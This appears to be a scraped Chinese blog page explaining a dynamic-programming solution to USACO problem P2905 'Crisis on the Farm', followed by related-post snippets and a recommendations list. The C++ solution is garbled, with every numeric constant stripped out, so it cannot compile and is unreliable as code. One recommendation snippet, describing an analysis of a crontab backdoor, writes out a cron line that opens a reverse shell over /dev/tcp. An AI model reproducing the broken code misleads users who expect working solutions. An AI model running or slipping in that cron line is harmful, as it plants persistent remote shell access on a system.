P2905 [USACO08OPEN]农场危机Crisis on the Farm(简单dp+麻烦“回溯”)

惯例,化简题意(看长短决定难度)
一块草坪上有两种点(姑且称为a和b),各有坐标,现在能同时使所有a点向东西南北任意一个方向移动一个单位,若a点与b点重合,则答案增加重合数,求答案的最大值并且求出这个命令序列
solution&&thinking
首先,dp无疑(不能贪,随后hack系列。)
其次,方程式巨好推是不是
f[i][j][k]表示第i步,向东共走了j,北共走了k的最大值,四个转移,之后比较最值,加上预处理的数量,最多是绿的难度。
那么,第二问就是这题变成蓝色的原因。
要求序列!还要字典序最小。
按着yzy的讲法,让每个点同时移动,求序列,但是好像不太可行
考虑求出最优解之后,从最优解开始dfs,减去状态,试着还原一下原状态,强行枚举出序列(又是一个dp233)
既然这又是一个dp,那就又可以迭代写了?好呀好呀....
先枚举E(向东)之后依次枚举方向,一旦找到一个之前的状态能加上预处理出来的数量能够达到当前状态(其实这里就是在模拟dfs),就输出这个字符。
然后...然后就没有了
坑点:
这里必须要骂一下出题人,简直没有良心。真的是映射了zym大佬的一句话
用心出题,用脚造数据
说好的大于0呢?说好的小于1000呢?
被狗吃了吗?
还要防负???
wtf.......
代码:
#include<bits/stdc++.h>
using namespace std;
const int maxn=;
const int T=;
const int dx[]={,,,-};
const int dy[]={,,-,};
const int dd[]={,,,};
int n,m,K;
int a[maxn],b[maxn],c[maxn],d[maxn];
int f[T<<][T<<][T<<];
int g[T<<][T<<];
int main()
{
scanf("%d%d%d",&n,&m,&K);
for(int i=;i<=n;i++)
{
scanf("%d%d",&a[i],&b[i]);
}
for(int i=;i<=m;i++)
{
scanf("%d%d",&c[i],&d[i]);
}
for(int i=;i<=n;i++)
{
for(int j=;j<=m;j++)
{
if(abs(c[j]-a[i])+abs(d[j]-b[i])<=K)
g[c[j]-a[i]+T][d[j]-b[i]+T]++;
}
}
for(int i=K;i>=;i--)
{
for(int j=T-i;j<=T+i;j++)
{
for(int k=T-i;k<=T+i;k++)
{
for(int l=;l<;l++)
{
f[i][j][k]=max(f[i+][j+dx[l]][k+dy[l]],f[i][j][k]);
}
f[i][j][k]+=g[j][k];
}
}
}
printf("%d\n",f[][T][T]);
int u=T,v=T,j;
for(int i=;i<K;i++)
{
for(j=;j<;j++)
if(f[i][u][v]==f[i+][u+dx[j]][v+dy[j]]+g[u][v])
break;
u+=dx[j];
v+=dy[j];
printf("%c",dd[j]);
}
return ;
}
(完)
P2905 [USACO08OPEN]农场危机Crisis on the Farm(简单dp+麻烦“回溯”)的更多相关文章
- bzoj1605 / P2905 [USACO08OPEN]农场危机Crisis on the Farm
P2905 [USACO08OPEN]农场危机Crisis on the Farm 发现总步数$k<=30$,考虑用$k$瞎搞 设$f[u][i][j]$表示已经吹$u$次哨,全体奶牛向右走$i ...
- 洛谷P2905 [USACO08OPEN]农场危机Crisis on the Farm
P2905 [USACO08OPEN]农场危机Crisis on the Farm 题目描述 约翰和他的奶牛组建了一只乐队“后街奶牛”,现在他们正在牧场里排练.奶牛们分成一堆 一堆,共1000)堆.每 ...
- P2905 [USACO08OPEN]农场危机Crisis on the Farm
传送门 DP 设 f [ i ] [ j ] [ k ] 表示已经走了 i 步,向上走了 j 步,向右走了 k 步时能拯救的最多奶牛数(j,k可以为负,表示反向) 设 g [ i ] [ j ] 表示 ...
- 洛谷 P2905 [USACO08OPEN]农场危机Crisis on the Farm
题目描述 约翰和他的奶牛组建了一只乐队“后街奶牛”,现在他们正在牧场里排练.奶牛们分成一堆 一堆,共1000)堆.每一堆里,30只奶牛一只踩在另一只的背上,叠成一座牛塔.牧场 里还有M(1 < ...
- bzoj1621 / P2907 [USACO08OPEN]农场周围的道路Roads Around The Farm
P2907 [USACO08OPEN]农场周围的道路Roads Around The Farm 基础dfs,按题意递归即可. #include<iostream> #include< ...
- [USACO08OPEN]农场周围的道路Roads Around The Farm BZOJ 1621 DFS
Farmer John's cows have taken an interest in exploring the territory around the farm. Initially, all ...
- BZOJ1605 [Usaco2008 Open]Crisis on the Farm 牧场危机
标题好长&&我是权限狗,汪汪! 题没看懂的我以为这是一道极难滴题目...然后,然后我就看懂题了. 数据少给了一个条件K <= 30...(没这条件还做个鬼...) f[k, i, ...
- BZOJ 1605 [Usaco2008 Open]Crisis on the Farm 牧场危机:dp【找转移路径】
题目链接:http://www.lydsy.com/JudgeOnline/problem.php?id=1605 题意: 平面直角坐标系中,有n个点,m个标记(坐标范围1~1000). 你可以发出口 ...
- BZOJ 1605 [Usaco2008 Open]Crisis on the Farm 牧场危机 DP
题意:链接 方法: DP 解析: 第一眼搜索题,复杂度不同意dfs,并且牛的数量太多不能bfs,迭代更不可能,A*不会估价.可能记忆化? 等等记忆化我还搜个毛线- 直接改成DP就好了. 状态非常好想非 ...
随机推荐
- INTELLIJ MAC查看类结构快捷键
mac下intellij查看类结构快捷键有两种形式. 方法一 alt+7,通过窗口展示类结果,点击对应的方法,类中跳转到对应的位置,但此窗口并不会消失.如下图: 方法二 默认使用command+F12 ...
- golang面试题--string操作
题目: 请实现一个算法,确定一个字符串的所有字符[是否全都不同].这里我们要求[不允许使用额外的存储结构].给定一个string,请返回一个bool值,true代表所有字符全都不同,false代表存在 ...
- CSS 选择符有哪些?哪些属性可以继承?优先级算法如何计算?
CSS 选择符有哪些? 1.id选择器(#id) 2.类选择器(.class) 3.标签选择器(div,h1,p) 4.相邻选择器(h1 + p) 5.子选择器(ul > li) 6.后代选择器 ...
- 技术不错的Java程序员,为何面试却“屡战屡败”
为何很多有不少编程经验,技术能力不错的程序员,去心仪公司面试时却总是失败?至于失败的原因,可能很多人都没意识到过. 01想要通关面试,千万别让数据结构拖了后腿 很多公司,比如 BAT.Google.F ...
- 移动端Rem布局注意事项
1.布局的总体结构框架: 2.注意事项: (a):如果是左右两栏的布局方式,须在article的同级加一个aside: 因为是同级,所以必须设置同样的样式:而且他俩的父级,也就是sectio ...
- 算法学习之剑指offer(十一)
一 题目描述 请实现一个函数按照之字形打印二叉树,即第一行按照从左到右的顺序打印,第二层按照从右至左的顺序打印,第三行按照从左到右的顺序打印,其他行以此类推. import java.util.*; ...
- 使用jmeter进行压力测试入门讲解
1.下载安装jmeter 略 我这里放上5.1版本的,有需要可以下载 链接:https://pan.baidu.com/s/1xRZZmTY4do1oDU_xPit94Q&shfl=share ...
- crontab一句话后门分析
正常版本 (crontab -l;echo '*/60 * * * * exec 9<> /dev/tcp/127.0.0.1/8888;exec 0<&9;exec 1&g ...
- pytest7-多个fixtures执行顺序
举例: import pytest order = [] @pytest.fixture(scope='session') def s1(): order.append("s1") ...
- Spring Boot提供RESTful接口时的错误处理实践
使用Spring Boot开发微服务的过程中,我们会使用别人提供的接口,也会设计接口给别人使用,这时候微服务应用之间的协作就需要有一定的规范. 基于rpc协议,我们一般有两种思路:(1)提供服务的应用 ...